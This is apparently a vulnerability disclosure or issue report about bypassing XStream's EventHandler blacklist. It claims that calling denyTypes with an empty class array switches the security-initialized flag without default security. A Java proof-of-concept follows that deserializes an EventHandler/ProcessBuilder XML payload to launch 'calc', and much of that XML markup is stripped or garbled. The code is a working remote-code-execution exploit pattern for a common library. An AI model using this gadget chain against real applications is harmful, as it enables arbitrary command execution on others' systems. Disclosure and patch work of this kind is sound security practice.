The newest version of xstream add the blacklist to defend Deserialize code execution with the class of java.beans.EventHandler .
but blacklist need the global variable XStream.this.securityInitialized is false when it's working ,and there have some way to make it true without enable xstream.setupDefaultSecurity。

public class exp {
public static void main(String[] args){
String payload = "\n" +
" \n" +
" java.lang.Comparable\n" +
" <handler class="java.beans.EventHandler">\n" +
" <target class="java.lang.ProcessBuilder">\n" +
" \n" +
" calc\n" +
" \n" +
" \n" +
" start\n" +
" \n" +
" \n" +
"";
XStream xstream = new XStream();
xstream.denyTypes(new Class[]{});
xstream.fromXML(payload);
}
}